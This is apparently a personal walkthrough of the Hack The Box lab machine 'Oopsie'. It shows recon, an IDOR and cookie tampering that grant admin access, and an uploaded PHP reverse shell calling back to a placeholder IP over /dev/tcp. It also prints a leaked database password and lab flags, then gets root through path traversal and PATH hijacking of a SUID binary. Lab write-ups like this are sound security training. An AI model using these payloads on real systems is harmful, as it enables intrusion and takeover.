Oopsie

Reconnaissance

IP: 10.129.45.45 In the Nmap scan we can see that there is an Apache server and an SSH server running.

nmap -sC -sV -Pn -p- 10.129.45.45
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Using default logins for SSH didn’t really work so I started Dirbusting the website with Gobuster.

gobuster dir -u http://10.129.44.192/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.44.192/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/04/13 10:22:53 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.129.44.192/images/]
/themes               (Status: 301) [Size: 315] [--> http://10.129.44.192/themes/]
/uploads              (Status: 301) [Size: 316] [--> http://10.129.44.192/uploads/]
/css                  (Status: 301) [Size: 312] [--> http://10.129.44.192/css/]    
/js                   (Status: 301) [Size: 311] [--> http://10.129.44.192/js/]     
/fonts                (Status: 301) [Size: 314] [--> http://10.129.44.192/fonts/]  
/server-status        (Status: 403) [Size: 278]                                    
                                                                                   
===============================================================
2022/04/13 10:27:42 Finished
===============================================================

All of these directories when accessed returned HTTP Response Code 403. But /uploads/ might be intersting later keep it in mind. Here is the homepage: Since I didn’t find any type of login page or something simillar I was a bit confused and checked the Solution and saw that Burpsuite has a Site Map that shows all the different directories on the particular webpage. For example when we send an HTTP Request and the HTTP Response refers to another File for example an image. This image will appear in the site map in Burpsuite. When we check the site map for our site we see this. Looking in the /cdn-cgi folder we can see a login folder opening this directory in the browser reveals a login page. Trying default credentials didn’t work so I logged in as guest. I was presented with a dashboard that had an Account tab which had this URL and output. http://10.129.45.45/cdn-cgi/login/admin.php?content=accounts&id=2 Inspecting the HTTP Request in burp we can see that Cookies are being sent with the access ID and the user role which in our case is guest. At this point I was a bit stuck and was trying to follow the tip on the HTB website which basically said to decrease the ID. However that didn’t work because I was decreasing the ID in the cookie while they were talking about the ID in the URL which is 2. After I changed it to 1 I landed on the account page of the administrator and could see info about his account. Another intersting tab on the dashboard is the Uploads tab that is only accessible by the administrator. However when we change our cookies we might be able to access it and upload a Reverse Shell. Here the webpage. Lets upload a test file and see where it pops up. Don’t forget to change the cookie again. Looking at the /uploads/ directory we discovered in the beginning we find our file.

Careful with the Brand name

Weirdly it wouldn’t work if you set the Brand Name in the upload field to the same values as the file name. All you would get back is HTTP Response Code 404.

Lets upload the shell. I found this one on Hacktricks <?php exec("/bin/bash -c 'bash -i >/dev/tcp/<IP>/<PORT> 0>&1'"); ?> I uploaded it with the help of the Burpsuite Repeater since it’s easier to modify things if something doesn’t work than manually changing the Cookies all the time in the Burpsuite Proxy tab. Now lets start Netcat and try to get a PHP shell running.

nc -lnvp 4444
listening on [any] 4444 ...

And we got a shell! I’m sure there is a way to get a more elegant shell with autocompletion etc. but this one worked just fine for me (see here: Reverse Shell). First thing I did is look in the Home Directory of the only user available robert inside there was the user flag.

cd /home/robert
cat user.txt

f2c74ee8db79838*********************

f2c74ee8db7983851ab2a96a44eb7981

Inspecting the /var/www/html/cdn-cgi/login directory I found a db.php file which had the password for the user robert. This was also thanks to a tip from HTB. Next time I should really look into all files on the server especially home directories and service directories. Using the Find command with Grep should be good enough.

cat db.php
<?php $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); ?>

Using this password we can login as robert in the more comfortable SSH shell.

ssh robert@10.129.45.45

robert@oopsie:~$

Escalating Priveleges

Following a tip on HTB I saw that robert was part of the bugtracker group. Next time look which users are on the system and which groups they belong to. I searched with the Find command for files that are owned by this group and found /usr/bin/bugtracker. Inspecting it further revealed that this file had the SUID bit set and was supposed to display bug reports after typing in the bug report ID. using the Strings command I found out that this binary is simply calling the Cat command and displaying files in /root/reports/.

strings /usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 
---------------
cat /root/reports/

Simply using a File Path as the input worked and I could see all files on the system and most importantly the flag. Since by default we are in the /root/reports/ directory we first have to navigate out of it. Then it is very simple.

/usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: ../../root/root.txt    
---------------

af13b0bee69f8a8******************

Getting a root shell

After reading the official writeup I saw them mention something I initially missed. After getting the flag I thought I was done but in a real life setting this would only allow me to read files as root. To get a root shell we have to perform PATH Hijacking. The cat command used in the binary is not called using an absolute path meaning we can trick the binary into executing our version of the Cat command. To do that first we need to create the fake cat command first. Simply create a file that will run open a shell and make it executable. And add the directory of the file to PATH. Then the system will check that directory first and use our cat.

echo "/bin/bash" > /tmp/cat
export PATH="/tmp/:$PATH"

Then run the binary and input something.

robert@oopsie:/tmp$ /usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: something
---------------

root@oopsie:/tmp# whoami
root

Go to Oopsie - Solution.pdf to see the official write up.